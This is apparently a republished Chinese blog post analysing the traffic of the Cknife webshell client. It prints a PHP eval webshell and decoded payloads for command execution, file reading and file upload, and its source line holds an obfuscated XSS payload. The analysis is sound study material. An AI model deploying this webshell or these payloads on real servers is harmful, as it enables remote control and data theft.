Cknife流量分析


本文首發:https://<img src=1 onerror=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemo

0x01 環境

<?php eval($_REQUEST['shell'] ?>

0x02 命令執行

執行命令結果如下圖所示

1549864408222

POST的數據如下圖所示

1549864204478

對POST的數據解碼

#shell
@eval(base64_decode($_POST[action]));

#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");
die();

#z1
cmd

#z2
cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]

z2whoami經過cknife的組合再經過base64編碼后的結果,cknife通過eval執行action中的代碼,把POST的z1z2base64_decode解碼,再把z1z2組合成$r,最后用system執行$r,打印執行結果。

返回結果如下圖所示

1549865961339

經過cknife的格式處理,返回的結果變成了上圖的樣子,->||<-中間的內容就是執行命令的結果

0x03 文件下載

POST的數據如下圖所示

1549866499136

對POST的數據解碼

#shell
@eval(base64_decode($_POST[action]));

#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
	@fclose($fp);
	@readfile($F);
}else
{
	echo("ERROR:// Can Not Read");
};
echo("|<-");
die();

#z1
C:\wamp64\www\index.php

z1是目標文件路徑經過base64編碼后的結果,cknife通過eval執行action中的代碼,用base64_decode獲取文件的路徑,然后判斷文件是否能夠被讀取,如果能夠被讀取,則用readfile()輸出文件的內容,最后將輸出的文件內容寫入到本地文件中。

返回結果如下圖所示

1549867166066

有一點需要注意,cknife可能會將返回的所有內容輸出到文件中,所以需要手動取出->||<-之間的內容,否則文件可能格式錯誤

0x04 文件上傳

POST的數據如下圖所示

1549867720428

對POST的數據解碼

#shell
@eval(base64_decode($_POST[action]));

#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();

#z1
C:\wamp64\www\test.txt

#z2
this is a test

z1是目標文件路徑經過base64編碼后的結果,z2是本地文件的內容經過hex編碼后的結果,cknife通過eval執行action中的代碼,用base64_decode先獲取目標文件的路徑,然后獲取z2的內容,使用for循環將原來的hex編碼轉換為URL編碼,再用urldecode進行解碼,追加給$buffor循環結束后$buf就是文件的內容,最后寫入目標文件中,寫入成功返回1,寫入失敗返回0

返回結果如下圖所示

1549868914718

如果->||<-之間的內容為1,則代表文件上傳成功


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM